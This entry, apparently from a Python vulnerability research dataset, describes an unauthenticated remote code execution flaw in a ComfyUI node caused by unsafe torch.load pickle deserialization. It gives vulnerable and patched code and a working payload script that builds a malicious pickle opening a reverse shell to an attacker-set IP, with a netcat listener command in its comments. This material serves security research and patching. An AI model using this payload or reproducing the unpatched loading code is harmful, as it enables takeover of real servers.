CVE-2026-68771
Unauthenticated RCE in ComfyUI via unsafe deserialization of a pickle file.
- CVSS 9.3
- 502
- Input Validation and Sanitization
- Remote
ComfyUI v0.23.0 contains an unsafe deserialization vulnerability in the LoadTrainingDataset node that allows unauthenticated remote attackers to execute arbitrary Python code by uploading a crafted pickle file and triggering its deserialization. Attackers can upload a malicious shard_*.pkl file via the unauthenticated POST /upload/image endpoint and then queue a workflow graph via POST /prompt referencing the uploaded file, causing torch.load to deserialize the attacker-controlled pickle payload using __reduce__ and execute arbitrary commands as the ComfyUI process user.
- CWE
- 502
- CVSS base score
- 9.3
- Published
- 2026-07-31
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- ComfyUI
Solution
Upgrade to ComfyUI version 0.24.0 or later.
Vulnerable code sample
import torch
import os
import glob
class LoadTrainingDataset:
"""
A node that loads a sharded training dataset from pickle files.
"""
@classmethod
def INPUT_TYPES(s):
return {"required": {"path": ("STRING", {"default": "path/to/dataset"})}}
RETURN_TYPES = ("*",)
FUNCTION = "load"
CATEGORY = "training"
def load(self, path):
shard_files = sorted(glob.glob(os.path.join(path, "shard_*.pkl")))
if not shard_files:
raise FileNotFoundError(f"No dataset shards found in {path}")
loaded_data = []
for shard_file in shard_files:
with open(shard_file, 'rb') as f:
# VULNERABLE: Deserializing a user-provided pickle file with torch.load can execute arbitrary code.
data = torch.load(f)
loaded_data.append(data)
return (loaded_data,)Patched code sample
import torch
import os
import glob
class LoadTrainingDataset:
"""
A node that loads a sharded training dataset from pickle files.
"""
@classmethod
def INPUT_TYPES(s):
return {"required": {"path": ("STRING", {"default": "path/to/dataset"})}}
RETURN_TYPES = ("*",)
FUNCTION = "load"
CATEGORY = "training"
def load(self, path):
shard_files = sorted(glob.glob(os.path.join(path, "shard_*.pkl")))
if not shard_files:
raise FileNotFoundError(f"No dataset shards found in {path}")
loaded_data = []
for shard_file in shard_files:
with open(shard_file, 'rb') as f:
# FIX: The weights_only=True parameter restricts deserialization to safe tensor and storage types, preventing code execution.
data = torch.load(f, weights_only=True)
loaded_data.append(data)
return (loaded_data,)Payload
import pickle
import os
# --- Configuration ---
# Replace with the attacker's IP address and a port to listen on.
# On the attacker machine, start a listener: nc -lvnp 4444
ATTACKER_IP = "10.0.0.1"
ATTACKER_PORT = 4444
# ---------------------
class Exploit:
def __reduce__(self):
# This command creates a reverse shell to the attacker's machine.
# It is executed when the pickle file is deserialized by torch.load.
cmd = f"python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ATTACKER_IP}\",{ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
return (os.system, (cmd,))
# Create the malicious pickle file.
# The filename must start with "shard_" to be recognized by the LoadTrainingDataset node.
filename = "shard_malicious.pkl"
with open(filename, "wb") as f:
pickle.dump(Exploit(), f)
Cite this entry
@misc{vaitp:cve202668771,
title = {{Unauthenticated RCE in ComfyUI via unsafe deserialization of a pickle file.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-68771},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-68771/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
